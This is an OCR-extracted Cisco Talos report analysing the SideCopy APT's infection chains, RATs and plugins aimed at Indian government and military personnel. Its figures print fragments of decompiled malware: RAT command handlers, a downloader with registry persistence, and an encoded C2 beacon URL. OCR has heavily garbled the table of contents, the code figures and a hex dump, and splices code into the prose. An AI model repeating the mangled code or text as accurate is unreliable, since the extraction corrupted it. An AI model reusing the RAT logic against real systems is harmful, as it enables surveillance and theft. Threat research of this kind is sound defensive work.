L
. =

InSideCopy:

How this

APT continues

to evolve its arsenal

BY ASHEER MALHOTRA AND JUSTIN THATTIL

TaLos

Cisco Security Research



InSideCopy: Ta LOS

How this APT continues to evolve its arsenal iscn Securty Rescareh

CONTENTS
5T 1T 410 1T T 3
QL= L = T T PP 3
HOW did i WOTK? ... ...ttt et e e oottt ettt e e e e e e eeeeeeeaeeea e aneeeeeeeae e e nnnseeeeaeeeaaanneeeeeeeeeeaaannnseeeaeeeeaaaansnneeeeaeeaaaannne 3
ST oI T Y PP PPPPPPPPPPPPPPPRE 3
2= o e [ o 11Ty 'c PSP 4
=T AT ) (=Y To T o o -1 o PR 4
Latest CetaRAT iNfECTION CRAINS ... .. s 4
L0 1R I 101 =T w3 €0 o PP PPPPPN 7
MSI=based INFECTION CRAIN. ... ..ot e et e e et e e e et e e et e e e s e e e e e e e e e nanna e e e e e eennnnnaaeeeeeeennnnn 7
LY 1ot T 1T R o = )] [ = T K= PP UPTIN 8
R PRSP PUPUPUPPPTIN 8
[ 18 11 0T PPN 9
L2 N T T 11 9
L1 7o A PP PP 9
D= = | PP 10
YL ST =Y o PP 1"
1Y = T U= 1= A PP 1
N 1= o =P 12
o 1 A TP P PP P PP PP POPPRPPPPPPRPPPRRPN 12
o SO EEEE 13
o oL oY a1 (=T gl = ) R 14
Lo (1T [T T 4 F= 1 Y= £ PP P PPNt 14
L1 L= TS = = = PSP 14
Browser Credential STEAIET........ccuuiiiii e e e e e e 16
=)V [T T 1= 17
(CToTE=TaTe I g F= ATV =T =Tl Lo T F= o o PP 17
Tracking and delivery INFrastrUCTUIe ........... ... e e e e e e e e e e e e e e e e e e e e e e e e rnnnaa e e e e e eeennnnan 19
ODbSErvations @Nd @NAIYSES. .......ccooiiiiiiiiii it e ettt e e e et eea e e e e e eeeetba e e eeeeeeeaaateaeeeeteaaaaeeaeeeetta e aaeeetennn e aeeeeerranan 20
JLIE= 1 =2 T PP 20
(014 =Yo =T o F= I F= T VZ=Y] 4 Vo PP 22
(0o T T2 11 Lo T PP PP P PP P PP P PP PP PP PPTPPPPPPPPPPPPPN 23
L0 1= T = PP PPPR 23

© 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 2 of 23



InSideCopy:

How this APT continues to evolve its arsenal

SUMMARY

TdLoOS

Cisco Security Research

Cisco Talos is tracking an increase in the SideCopy APT's activities targeting government
personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and
Transparent Tribe).

SideCopy is an APT group that mimics the Sidewinder APT’s infection chains to deliver their
own set of malware.

We’ve discovered multiple infection chains delivering bespoke and commodity remote access
trojans (RATs) such as CetaRAT, Allakore and njRAT.

Apart from the three known malware families utilized by SideCopy, Talos also discovered the usage
of four new custom RAT families and two other commodity RATs known as “Lilith” and “Epicenter.”

Post-infection activities by SideCopy consist of deploying a variety of plugins, ranging from file

enumerators to credential-stealers and keyloggers.

WHAT'S NEW?

Cisco Talos has observed an expansion in the activity of
SideCopy malware campaigns, targeting entities in India. In
the past, the attackers have used malicious LNK files and
documents to distribute their staple CH-based RAT. We are
calling this malware “CetaRAT.” SideCopy also relies heavily
on the use of Allakore RAT, a publicly available Delphi-
based RAT.

Recent activity from the group, however, signals a boost in
their development operations. Talos has discovered multiple
new RAT families and plugins currently used in SideCopy
infection chains.

Targeting tactics and themes observed in SideCopy
campaigns indicate a high degree of similarity to the
Transparent Tribe APT (aka APT36) also targeting India.
These include using decoys posing as operational
documents belonging to the military and think tanks and
honeytrap-based infections.

HOW DID IT WORK?

SideCopy’s infection chains have remained relatively
consistent with minor variations — using malicious LNK files
as entry points, followed by a convoluted infection chain

© 2021 Cisco. All rights reserved.
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involving multiple HTAs and loader DLLs to deliver the final
payloads.

Talos also discovered the usage of other new RATs and
plugins. These include DetaRAT, ReverseRAT, MargulasRAT
and ActionRAT. We’ve also discovered the use of
commodity RATs such as njRAT, Lilith and Epicenter by this
group since as early as 2019.

Successful infection of a victim results in the installation of
independent plugins to serve specific purposes such as file
enumeration, browser password stealing and keylogging.

SO WHAT?

These campaigns provide insights into the adversary’s
operations:

* Their preliminary infection chains involve delivering their
staple RATSs.

*  Successful infection of a victim leads to the introduction
of a variety of modular plugins.

* Development of new RAT malware is an indication that
this group of attackers are rapidly evolving their malware
arsenal and post-infection tools since 2019.

*  Their current infrastructure setup indicates a special
interest in victims in Pakistan and India.
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BACKGROUND

SideCopy campaigns use tactics and techniques that
mimic the SideWinder APT group to deploy their own
set of malware. For instance, this group actively utilizes
artifact names and infection vectors identical to the
Sidewinder group.

SideCopy infection chains primarily consist of archive

files containing malicious LNK files delivered to the
victims. The filenames are meant to social engineer the
victims into opening the LNK files, in turn, infecting them
with SideCopy malware. What follows is a convoluted
combination of malicious HTML Application files (HTA) and
DOT NET-based loader DLLs that instrument CetaRAT and
Allakore on the endpoints.

EARLY INFECTION CHAIN

The earliest discovered infection chain consisted of a LNK
file that pulled down and executed an HTA from a remote

struct ShellLinkHeader sShellLinkHeader
LinkTargetIDList sLinkTargetIDList

ON_LOCATION

TdLoOS

Cisco Security Research

location. This HTA would decode and instrument a loader
DLL in memory to drop CetaRAT and another DLL (DUser.
dll) (Figure 1).

The dropped DLL is side-loaded into credwiz.exe. The DLL
then executes CetaRAT on the infected endpoint, thereby
completing the infection chain.

The actors used this method in 2019 and have evolved it
since then. This primitive infection chain doesn’t consist
of decoy documents or images and is missing the Allakore
RAT component (Figure 2).

LATEST CETARAT INFECTION CHAINS

Beginning 2020 and into 2021, we saw the attackers
improve their infection chains. These infections also begin
with malicious LNK files delivered to the victims. However,
what follows is a combination of three HTA files, three
loader DLLs, two instances of CetaRAT in some cases, and
Allakore. This indicates an effort to modularize the attack
chains, although it’s over-modularized in this case.

01-JAN-AND-01-]
1-JAN-AND-01-]

GRADATION-OF-PAY-
-GRADATION-OF-P;

Figure 1: LNK with fake PDF icon executing remote HTA using mshta.exe.

A
HTA
> Stage #2 4 >
Execute
in memory

Malicious LNK
Stage #1

Figure 2: Primitive SideCopy infection chain.

© 2021 Cisco. All rights reserved.
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CetaRAT
> Stage #3A 4 >

C2 Server
Instrument
Stage #2A CetaRAT
Side Loaded DLL -
> credwiz.exe
Stage #3B
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N Decoy
Document
or Image

A

& > HTA
Stage #2
in memory
Malicious LNK
Stage #1 V

Figure 3: Latest SideCopy infection chain.

sShellLinkHeader
ist sLinkTargetIDLi
nfo

CLSID_MyCompute!

ND_LINE_ARGUMENTS
\_LOCATION

Figure 4: Latest SideCopy infection chain.

The latest infection chains have also adopted the practice
of displaying a decoy document (PDF) or image to the
victims (Figure 3).

Stage No. 1 —LNK

The malicious LNK contains a command (Figure 4) to run a
malicious HTA file hosted on an attacker-controlled website
via mshta.exe.

Stage No. 2 —-HTA
The malicious HTA file carries out the following activities:

* Creates a JavaScript file to restart the endpoint after

© 2021 Cisco. All rights reserved.

Loader DLL HTA
Execute

HTA Loader DLL
> Stage #4 4 > Stage #4A

talos-external@cisco.com | talosintelligence.com

TdLOS5S

Cisco Security Research

CetaRAT
Stage #3B 4 >
C2 Server

Loader DLL
Stage #3A

CetaRAT
Stage #3B < ’

C2 Server

> Allakore
Stage #4C

Instrument A
Allakore v

Side Loaded DLL

credwiz.exe
Stage #4B

N-OF-PART-TI-ORDER-HR
css/pdf.ico

the malicious HTA has completed the infection process.
(The JavaScript waits for a specified time and restarts
the system, enough for HTA to complete the infection.)

* Load and invoke a malicious Dot Net-based loader DLL
(Stage 2A) into memory.

Stage No. 2A — Loader DLL
The malicious Dot Net-based loader DLL is responsible for:

* Decompressing a decoy PDF and displaying it to the
victim on the endpoint.

*  Downloads another malicious HTA (Stage No. 3A) from
a remote URL and executes it on the endpoint.

page 5 of 23
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* Downloads and executes another
malicious HTA file (Stage No. 4)
from a remote URL.

The decoy document displayed to the
victim in this case is an internal Indian
Ministry of Defense (MoD) circular
related to their Human Resources
Management System (HRMS) (Figure 5).

Stage No. 3 — Malicious HTA

This malicious HTA is similar to those
seen previously (usually seen as Stage
No. 2 in other infection chains). It is
used to deploy the malicious CetaRAT
embedded in the HTA file.

In some cases, we’ve observed
instances of this malicious HTA
deploying two distinct CetaRAT
payloads on the same endpoint, a
deviation from the usual infection chain.

Stage No. 4 — Malicious HTA

This malicious HTA is similar to the
HTA seen in Stage No. 3A of the attack
chain. This HTA also:

* Loads another loader DLL into
memory (Stage No. 4A).

* Collects AV product names and
passes them to the loader DLL
(Stage No. 4A) along with the
credwiz.exe binary and DUser.dll
malicious DLL to be side-loaded.

Stage No. 4A — Malicious loader DLL

This DLL is responsible for dropping
DUser.dll (Stage No. 4B side-loaded
into credwiz) into a variable location,
depending on the presence of a
specific anti-virus products installed
on the endpoint:

* Kaspersky * Avira

*  QuickHeal e Bitdefender

* Avast *  Windows
Defender

© 2021 Cisco. All rights reserved.
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All HQ Comds

PUBLICATION OF PART II ORDER : HRMS

1. It has come to notice that various branches of Comd/Fmn HQ are
publishing Part II Orders in r/o JCOs and OR through multiple servers loaded
with HRMS Software due to which same No of Part II Order against one SUS No
has been published by Est Branch as well as pers branch.

2. The issue became more serious when respective Record Office processed
soft copy received first in ARPAN Software and fwd to PAO (OR). Whereas hard
copy of part II Order of other branch was fwd to PAO (OR) erroneously. Thus
there was a mismatch in hard and soft copy. Audit department has taken
serious note of the same and reported the matter to this HQ.

3: As per Para 301 of Docu Procedure JCOs and OR - 1991, Part II Orders
should be signed by CO Unit or a nominated offr only. In other words, only one
offr from a unit/est against one SUS No can be nominated to sign Part II
Orders. Also, responsibility of docu of JCOs and OR rests with CO/OC unit or
OC troops and not with branch heads. Similarly, recommendation for pension
and gratuity, assessment of character etc in Discharge Roll (IAFY-1948) can be
signed by CO/OC unit or OC Troops only and not by other pers branch, while
preparing pension docu.

4, It is also intimated that upgraded version of HRMS enabled with Digital
Signature facility has been successfully implemented at test bed units and is
under trial. After successful trail, the same will be impl pan Army and multiple

Digital sig tokens against one SUS No at a time may not be acceptable to the
audit department.

5% In view of the above, it is requested to publish Part II Orders in r/o JCOs
and OR under the aegis of CO/OC Unit or OC Troops only, as applicable,
through a single server loaded with HRMS Software Appl against one SUS No.

Figure 5: Decoy PDF pretending to be an internal Indian Army document.
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Decoy
Document
or Image

A

> HTA
Stage #2

Malicious LNK
Stage #1

Figure 6: njRAT infection chain.

This loader DLL also persists Allakore RAT on the
endpoint. The side-loaded DLL is then responsible for
executing Allakore.

Stage No. 4B - Allakore

Allakore RAT is a publicly available Delphi-based RAT. It is
usually called “Cyrus client” in SideCopy infection chains.
Its capabilities include:

*  Upload and download files.

e Capture screenshots from the endpoint.
*  Enumerate directories and files.

* Keylogging.

e  Steal current clipboard data.

NJRAT INFECTIONS

Another recently discovered infection chain (Figure 6) used
by SideCopy completely abandons CetaRAT and Allakore
and uses njRAT instead. This infection chain is simpler than
the ones seen previously.

A second variation of njRAT infection chain uses self-
extracting RAR-based dropper executables that consists of:

*  Malicious VB script to set up persistence for njRAT de-
ployed by the dropper.

* njRAT binary dropped and executed by the dropper.

© 2021 Cisco. All rights reserved.
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Loader DLL < > ’

C2 Server

Stage #32A

* The decoy document is usually a PDF displayed to the
victim. These PDFs mainly consist of themes related to
the Indian Army and government.

Some examples of the self-extracting dropper filenames:

°* Indian Army Restructring And Re-Organiza-
tion.pdf.exe

* director_general_level_border_coordination_
conference.pdf.exe

e Phase-3 of Nationwide Covid-19 Vaccination
Registration.pdf.exe

MSI-BASED INFECTION CHAIN

Around mid-2020, we observed a deviation from the LNK-
based infection chain. In this case, the attackers hosted a
malicious archive (ZIP) on an attacker-controlled website
freewindowssoftware[.Jcom. The ZIP file contained

an MSI file posing as an installer for the “Libre Video
Locker” application. On installation, the malicious MSI
would install Allakore RAT into the “Program Files\Libre
Software Corporation\LibreVideolLocker” folder
(Figure 7).

The final payloads consisted of three components:

* Loader EXE: Executed first and masquerades as a Libre
video player application. It is, however, meant to run
Allakore and the malicious BAT file.

page 7 of 23
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> Loader
EXE

MsI
Installer

A\

Figure 7: MSI-based infection chain dropping Allakore.

* Persistence BAT file: Used to set up persistence for
Allakore via the registry HKCU\..\Run key.

* Allakore RAT exe: This is a copy of the Allakore RAT
built in 2019, instrumented to communicate with a
known SideCopy C2 IP.

MALICIOUS PAYLOADS

This is an overview of the different final stages of infections.

RATS

SideCopy infections utilize a number of RATs. The RAT
payloads discovered by Talos so far are:

* CetaRAT: SideCopy’s staple RAT first seen in the
wild in 2019. This was already disclosed publicly. We
are calling it “CetaRAT” to identify it throughout this
research piece.

* DetaRAT — C#-based RAT: A previously unknown CH-
based RAT that contains several RAT capabilities similar

to CetaRAT.

* ReverseRAT: Another previously undiscovered C#-

© 2021 Cisco. All rights reserved.
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Persistence

BAT

\

Allakore

C2 Server

based reverse shell that also monitors removable drives.
It is based on CetaRAT.

MargulasRAT: This is another custom RAT used as part
of SideCopy operations. The dropper for MargulasRAT
masquerades as a VPN application from India’s National
Informatics Centre (NIC).

Allakore: Allakore is a Delphi-based RAT first observed
in 2015. This RAT has been used by SideCopy
extensively, along with CetaRAT.

ActionRAT: ActionRAT is another Delphi-based

RAT used in SideCopy’s operations. At first glance,

it looks quite similar to Allakore but is distinct in its
implementation. We also found a CH-based version of
the RAT, indicating that the attackers have ported it to
the Dot Net platform, as well.

Lilith: Lilith is a C++-based RAT first observed in 2016.
SideCopy used a customized version of Lilith in early
2019. Lilith has also been utilized by another APT
named “TICK” in 2018 - 19.

EpicenterRAT: Epicenter is another commodity RAT
observed in the wild since 2012. SideCopy’s usage of
Epicenter dates back to as early as 2018 - 19.

talos-external@cisco.com | talosintelligence.com page 8 of 23
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In addition to full-fledged RATs, SideCopy utilizes modular
plugins to carry out specific malicious tasks on the
infected endpoint:

File manager: A file management component that can
enumerate, download and upload files on the endpoint
from/to the C2.

Keyloggers: There are two keyloggers used by Side-
Copy.

o Xeytan: A publicly available CH#-based keylogger
available since 2016.

o Lavao: Another CH#-based keylogger.

Browser credential stealers: Again, there are two
types of stealers used:

o C-based stealer component to steal passwords
from Firefox and Chrome.

o CH-based stealer component to steal Chromium
browser passwords.

Nodachi: A previously unknown set of plugins uti-
lized by SideCopy we’re calling “Nodachi.” These
Golang-based plugins have reconnaissance and
file-stealing abilities targeting an Indian multi-factor
authentication app known as “Kavach.”

RAT ANALYSIS

CetaRAT is a CH-based RAT family first seen in the wild
since 2019. Its malicious capabilities (Figure 8) include:

© 2021 Cisco. All rights reserved.

Execution: Download and run arbitrary executables
and commands.

File management: Upload, download, delete, rename
and enumerate files.

Capture: Take screenshots and monitor clipboard
data.

Processes: List or kill processes on the endpoint.

T4dLoO5

Cisco Security Research

<PrivateImplementationDeta
DFCFDD@3}.RAT_command_co

{
"downloadexe",
2]

"download",

9

“clipboard"”,
1e

"clipboardset”,

Figure 8: CetaRAT command codes.
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DetaRAT is a previously unknown
C#H-based implant used by SideCopy.
This implant uses a different set of
command codes (Figure 9) with a
hardcoded key for communicating
with its C2 servers. Its malicious
capabilities include:

* Files management: Create,
move, rename and delete
directories and files.

* File enumeration: Retrieves
detailed directory and file
information recursively, including
creation and last access times.

* Exfiltration and infiltration:
Download and upload files from
and to the C2.

*  Audio: Record and upload
audio files.

* Remote control: Control mouse
cursor and clicks.

* Hosts file: Retrieve and send /
etc/hosts file contents.

* Installed Software: Exfiltrate
details of installed software
from registry.

*  Execution: Run arbitrary
commands on the endpoint via
cmd.exe.

* Clipboard: Get and set
clipboard data.

*  Sysinfo: The following informa-
tion is sent to the C2 to finger-
print the endpoint:

o |IP and MAC addresses.
o Installed anti-virus software.

o Processor and GPU info,
RAM info, system uptime,
OS details, battery charge
and life.

o Hostname, current username
and screen dimensions.

© 2021 Cisco. All rights reserved.

(msg == "SystemInformation™)
nd("SystemInformation|" +

== "Software")

K
HI11));
Thread.

(msg == "GetPcBounds")

ile();

th("SaveHos

e(msg.Replace("SaveHostsFile™, ""));

"GetCPText")
rdtext();

StartsWith("SaveCPText"))

boardtext(msg.Replace("SaveCPText", ""));

StartsWith("Shell"))
hell(msg.Replace("Shell", ""));
== "RecordingStart")

tart();

"RecordingStop™)

top();

"RecordingDownload")

Figure 9: DetaRAT command codes.

talos-external@cisco.com | talosintelligence.com
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TcpClient();

5*";”55_5“52”0; ) This is a simple CH-based malware that opens up a
reverse shell (Figure 10) to its C2 server using cmd.exe.

This reverse shell also has code built into it to monitor

removable drive events (Figure 11), such as connection and

removal.

MargualsRAT is distributed via another CH-based dropper
(Figure 12) binary. The dropper masquerades as the same
VPN we mentioned previously. NIC is responsible for
providing IT services, such as email and VPN access, to

"ﬁﬂi;putp:m;n:(), Indian government employees, including military personnel.

H

;
OutputDataHandler;

Another variant of the dropper deploys MargulasRAT after

displaying a decoy PDF to the victim (Figure 13).

'ﬂaggﬁz a("\n"); ) ' T ; This infection chain uses VBScripts to persist MargulasRAT

(flag2) via registry, while the dropper downloads the RAT from a
st er(); remote location (Figure 14).

flag3 ng() .LastInde X
(flag3) MargulasRAT (Figure 15) is limited in capabilities, but does
ArgumentException(); include:
Input);
i * Screenshot capture: Capture a screenshot of the reso-
lution specified by the C2, AES encrypt and send.

.Cleanup();

* Update self: Receives an encoded binary from C2,

r usbdeviceEventHandler =
r usbdeviceEventHandler2;

usbdeviceEventHandler;
2r value2 = (Eventl i o (usbdeviceEventHandler2, value);
<En .DeviceInserted, value2, usbdeviceEventHandler2);

(usbdeviceEventHandler != usbdeviceEventHandler2);

folderPath = = .SpecialFolder. 3 . ("
text = folderPath + "\\initho X environmentVariable = . ("TEMP");
flag = ! 5 (text); folderPath = 5 .SpecialFolder.
(flag) text = folderPath + "
path = folderPath + "
(1e00); flag = IFile. (path);
name = "windows <
) currentUser . 3 B (1eeee) ;
i \ \ StartInfo processStartInfo ) StartInfo();
s \ processStartInfo.
Thread. (30000); WebClient webClient
registryKey.SetValue(name, folderPath + ithos g webClient
registryKey. )2 . .SpecialFolder.
cipherText ! / \winscv
+paQm74pkz1fSK F X0ig6 FSKDpAKF: sdITNG4GNXFQ
Figure 12: Dropper opening the decoy NIC VPN portal and setting Figure 13: Code used to download and display a decoy PDF
up persistence for MargulasRAT. related to the Indian Army displayed to the victim followed by

activation of MargulasRAT.

© 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 11 of 23
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writes it on a disk, and executes
it. Runs cmd.exe to terminate
itself afterward.

"
]
rings ("SAPFDATAY")

°* Download more payloads:
Receives a name and encoded
payload data from the C2, then
write it to disk and execute it on
the infected endpoint.

default:stdrRegProv")

f the subkey does not contain any of the following: .DEFAULT or 3-1-5-18 or 3
LT",1) > 0) OR (ImStr(l,subkey,"s-1-5-18",1) > 0) OR (InStr(l,subkey, "S-1-5-19%
lue

*  Stop communications: Terminate
communication session with the
C2 until the next run.

yPath, strRegValueName, strRegValue

temObject" )

8 £

We’ve observed unimplemented VBScript used to persist MargulasRAT across reboots.

command codes in the MargualsRAT
indicating that this RAT is actively in

development by the attackers.

[] array = Strings. (Helper.BS(H:
SPL), -1, CompareMethod.

(left, "CLOSE",

. . . . (Operators. (left, "DW",
Allakore is a publicly available Delphi-
(Operators. (left, "UPDATE",

based RAT that has consistently been <
used in SideCopy operations along
with CetaRAT. Malicious capabilities
of Allakore include:

(Operators. (left, "RD-",

(left, "RD+",

* Keylogging.
*  Capture screenshots.

* List folders and files.

(array[1]);

*  Upload/Download files.
*  Steal clipboard data. sages. (array[1], array[2]);
* Grab/change wallpaper.

In recent infections, this RAT is
named “Cyrus client” (Figure 16).

SocketShutdown. );

ActionRAT is a Delphi-based RAT Figure 15: Command handler of MargulasRAT.
containing a limited set of capabilities.

This RAT also comes in a C# variant, 5 VASTYLE
. . . (5 "WAVE" B = « p E
indicating that the attackers have B Cursors _
N set 0 1 2 3 4 5 6 7 8 9 & B C D E F Ascii
. £ Bitmaps S0000707 | 50 50 1062 B0 00 00 G0 D7 G0 00 00 Gr By 43 75 | ot v Gy
ported it to the Dot Net platform. g lons 0008018 | 12 75 735 430 3 63 CE 14 00 10 00 43 04 B | mep Chion: uic
[+ String Tables 00000030 | 65 00 10 96 43 64 53 74 72 65 61 6D 56 43 4C 00 | =.+1IdStreanVCL
5 RCData 00000040 | 74 62 ¢ 5 &4 74 35 6B 34 £o 60 79 00 10 20 &3 | rew Sephiiis 8
. . " " - 00000060 | 79 73 74 65 6D 2E 43 68 61 72 61 63 74 65 72 00 Che r
This RAT typically uses two C2 URLs G DVaLAL [lang:0] R R R R B R R TR L R R el
=] "PACKAGEINFO" - [lang:0] 00000080 | 74 73 00 0 81 53 79 73 49 6E 65 74 00 00 C7 53 | te.. Sysimit. G5
i — initi - ‘© "PLATFORMTARGETS" - [lang:1033] SO0000A0 | 63 €5 &4 G 77 73 00 Li B 83 95 93 74 66 4b 3% | Lndome pbpcion.
(Flgure 17) one for the Inltlal CheCk £ "TFRM_CHAT" - [lang:0] 0DDO00EN | 85 45 54 79 70 65 73 00 10 1c 53 73 73 74 65 60 | Dllymes. Syscen
 "TERM_MAIN" - [lang:0] Soo0nton | 555 03 22 5T 43 BL 9 Ga 10 a3 L3 gd 51 SR EE | eumnitIE
. . . | - [lang: ysUtils. t1Syste
" " 000000ED | 6D 2E 49 6E 74 65 72 6E 61 6C 2E 45 78 63 55 74 I 1. E=xcll
in to Conﬁrm InfeCtlonS (beacon C2 © "TFRM_PASSWORD" - [lang:0] DODD00ED | €5 6C 73 D3 10 €4 53 7 33 74 6 ¢b 28 €3 73 73 | bis iGEperan Sy
; ‘3 "TFRM_REMOTESCREEN" - [lang:0] 00000110 | 73 61 56 45 00 10 B S £a 63 61 70 69 3F 53 4D | ShPT Thineny o
URL) and the Othel’ to instrument the ‘5 "TFRM_SHAREFILES" - [lang:0] 00000120 | 46 €F 6C 64 65 72 00 10 2D 87 83 6E 61 70 €3 25 | Folder +-finaps
RAT and send/recv commands and Figure 16: Allakore RAT with the name “Cyrus_Client.”

output data.

© 2021 Cisco. All rights reserved. talos-external@cisco.com | talosintelligence.com page 12 of 23
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[] bytes = .
@string = Encoding.

ing(bytes);

beaconURL = @string + "class
updateURL = @string + "updat

(" aHR@cDovLzE@NC45M

T4dLoO5
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hc3NpZmljYXRpb24v™);

Figure 17: Two C2 URLs used in ActionRAT.

Primary capabilities of the RAT include (Figures 18 and 19):

* Gather sysinfo: Collect the following information from
the infected endpoint and sends the following informa-
tion to the C2 at the beginning of the RAT’s execution.

o Computer name and username.
o Installed anti-virus product names.

o Operating system name, MAC address (used as in-
fection identifier) and architecture type (x86 or x64).

*  Arbitrary command execution: Run arbitrary commands
specified by the C2 on the endpoint.

* List drives: Collect drive names and total size for all
drives present on the system and send them to the C2.

°*  Enumerate files: Enumerate files for a given directory
on the endpoint and sends the following information to
the C2:

o Directory names and creation time.
o Filepath, size and creation time.

* Download files: Download a file specified by the C2 to a
location on disk.

* Download and execute: Download and then execute a
file specified by the C2 on the endpoint.

* Upload files: Exfiltrate the contents of a specified file to
the C2.

Lilith is a commodity RAT available in the wild since 2016.
The version of Lilith used in SideCopy operations consists
of the following capabilities (Figure 20):

*  Terminate or restart self.
*  Download and execute files from specified locations.
*  Enumerate files.

e Reverse shell.

© 2021 Cisco. All rights reserved.
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classifieds.php
<action>command-<action>
update.php
<action>drives<action>
<action>download<action>
<action>getfiles<action>
<action>execute<action>

<action>upload<action>

Figure 18: Command codes included in the Delphi version
of ActionRAT.

Gs)

text2 = Forml.
empty =
empty2
empty3

(beaconURL, hostname, text, os, av, architecture, mac);

(text2))
(text2.Contains("<action>connect<action>"))
empty4
empty5 8
Forml. (text2, empty, empty2, empty3)
Forml. (updateURL, mac, empty, empty2, empty3, empty4, empty5);

(text2. s("<action>command<action>"))

Forml. (text2, empty, empty2, empty3)
Forml. (empty3, emptys, empty7);
Forml. (updateURL, empty, empty2, empty3, empty6, empty7);

(text2. s("<action>drives<action>"))

Forml. (text2, empty, empty2, empty3)
Forml. (updateURL, empty, empty2, empty3, empty8, empty9);

(text2.Contains("<action>getfiles<action>"))

emptyle
emptyll - 3'H
Forml. (text2, empty, empty2, empty3)
Forml. (updateURL, empty, empty2, empty3, emptyl®@, emptyll);
(text2.Contains("<action>upload<action>"))
Forml. (text2, empty, empty2, empty3)
Forml. (@string, empty3);
Forml. (updateURL, empty, empty2, empty3, mac);
(text2.Contains(“<actil cecute<action>"))
Forml. (text2, empty, empty2, empty3)
Forml. (@string, empty3);
Forml. (updateURL, empty, empty2, empty3, mac);

(text2.Contains("<action>download<action>"))

Forml. (text2, empty, empty2, empty3)
Forml. (updateURL, hostname, mac, empty, empty2, empty3);

Figure 19: C#-based ActionRAT’s command handler.
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push
call
lea
call
add
cmp
jz
call
cmp
jz
push

offset akill ; "killv

eax

esi ; std::operator==<char>(std::string const &,char const *)
esp, 8

al, al

short loc_108@1AA2

terminate_self

; CODE XREF: COMMAND_HANDLER+5Btj
ecx, [esp+48h+arg_0]
offset aRestart ; "restart”

ecx 5 int

esi ; std::operator==<char>(std::string const &,char const *)
esp, 8

al, al

short loc_10001ABA
restlart_self

; CODE XREF: COMMAND_HANDLER+731j
esp, 1Ch
ecx, esp
[esp+64h+var_38], esp
offset aFileListing ; "File Listing"
ds:std::string::string(char const *)
esi, [esp+64h+arg @]
sub_100019A0
esp, 1Ch
al, bl
short loc_1leee1Bel
list_drives
al, bl
loc_10001CE@
offset aFilelistingCom ; "File Listing Completed Successfully.
ecx, edi
ds:std::string::string(char const *)
[esp+48h+var_34], ebp
loc_16ee1D30

; CODE XREF: COMMAND_HANDLER+9Ctj
esp, 1Ch
ecx, esp
[esp+64h+var_38], esp
offset aDownloadExecut ; "Download Execute”
ds:std::string::string(char const *)
esi, [esp+64h+arg_0]
sub_l00019A0
esp, 1Ch

short loc_10001B48
download_and_execute_nikki_via_powershell
al, bl

loc_leeel1CEe

offset aFileDownloaded ; "File Downloaded and Executed Successful"...

Figure 20: Command codes and handlers in Lilith.

Epicenter is a commodity RAT used by SideCopy since
2018. It contains a variety of capabilities (Figure 21)
including:

© 2021 Cisco. All rights reserved.
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incoming)

[1 array = ( [1)incoming;
count = ( )array[e];
[1 bytes = ( [Darray[1];
(! . ( bytes))

g(bytes, @, count);
(@string.Contains

[1 array2 < (@string, “<%SEP%
(array2[1], array2[2]);

(@string == "REQ_SYSPROP")
("SYSPROP<%SEP%>" +
(@string == "REQ_NETWPROP")
("NETWPROP<%SEP%>" +
(@string "SHUTDOWN" )
trol. (1);
(@string "REBOOT")
trol.
(@string "LOGOFF")

(4, 0);

(@string == "LOCKDOWN")

Thread thread Thread( ThreadStart(

(@string == "SUICIDE")

yAlteration. Os
(OF

(@string == "LIST_PROCS")
("PROCESS_L 4SEP%>
(@string.Conta "KILLPROC<%SEP%>"

[]1 array2 =
(array2.

] processesByName ) . (array2[1]);
(processesByName.

process processesByName)

process.Kill();

Figure 21: Epicenter command handler.

°*  Enumerate, launch and kill processes.
* Take screenshots.
*  Enumerate directories, delete files and folders.

* Check persistence status for self.

Gathering system information.

Gather installed Antivirus product names.
Shutdown, reboot system or log the user off.
Block keyboard and mouse inputs to self.

Uninstall self.

PLUGIN ANALYSIS

The files manager plugin used can scan all drives on the
system recursively and record file paths to a log file named

talos-external@cisco.com | talosintelligence.com page 14 of 23
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“YYYYMMDDHHMMSS_di_output.
txt” based on the current time (Figure
22). The file paths recorded must
match the following extensions:

doc, ppt, xls, txt, pdf, zip,
mdb, accdb, db, rar, jpg,
bmp, gif, csv, bmp, docx,
pptx, xlsx and png.

The files manager will also send
preliminary system information to the
C2 and receive a command code in
return:

hname=<MachineName>&uname=
<Username> &osname=<Windows
ProductName>&hid=<processor
ID_BIOS_SerialNumber_Disk_
Signature>&mcc=<MACAddress>
Gavname=<AVInstalled>&arc=
<0SBitness>

Where:
°*  hname = computer name.

°* uname = username of currently
logged in user.

* osname = Windows version name
string.
* hid = hardware id i.e. a com-

bination of processor ID, serial
number and disk signature

* mcc = Mac Address of the end-

point.

°* avname = either “Defender”,
“Avira” or “N/A” depending on
whichever AV is found installed.

* arc = “x64” or “x86”

Command codes:

o “filelist” and “updatefilelist”:
Send recorded file paths from
“YYYYMMDDHHMMSS_di_output.
txt” to C2 server.

* “download|”: Read contents
of file path specified by C2 and
exfiltrate.

© 2021 Cisco. All rights reserved.
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cmd_handler()

[] bytes = 5 (GClassl.mfahost
@string = Encoding. i

string_ = @string + G
string_2 = @string + GCla
3 = @string + GCla

string_.

machineName
userName = GForme.
defender_and_AVIRA_AVs
windows_ProductName = GFo
macaddress = GForm@.
processorID_BIOS_SerialNumber_Disk_Signature =
GForme .
osbitness = GForm@. s
text =
(3)

text = GForme@. (string_, n_A, machineName, userName,
windows_ProductName, processorID_BIOS_SerialNumber Disk_Signature, macaddress,
defender_and_AVIRA_AVs, osbitness);
(text == GC1

(string_2, processorID BIOS_SerialNumber_Disk Signature);
r().StartsWith(GClass1.download]|))

string_5 = text

string_6 = text

o
NI21;

GForme.

string_5, string_6);

X

(text.To r().Start
{

string_7 =

text2 = text.

string_8 = text

Figure 22: Files manager command handler module.

*  “ypload|”: Get specified file from C2 and write to specified location on disk.

* “execute|”: Download a specific file to a location on a disk specified by the C2
and execute it.

SideCopy also uses a document copier (Figure 23). This component searches for
files with specific extensions across removable and fixed drives and creates an
encrypted copy for itself. The encrypted copy may be exfiltrated later by another
component. So far, this component only searches for doc, docx, ppt, pptx and
pdf files.

talos-external@cisco.com | talosintelligence.com page 15 of 23
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We’ve also found standalone implementations of the foreach (DriveInfo drivelnfo in Dri etDrives())
document copier (called “UPirate”). This consists of " (ariverto. == PriveType.fenoysble && driveinfo.
document copying and encryption capabilities without the ?J—St' I array2 = new stringl]]

C2 functionality of the file manager component.

We’ve observed two flavors of browser credential stealer

components utilized by SideCopy (Figure 24). The firstis a AT EED (5 658 ) ERETE)
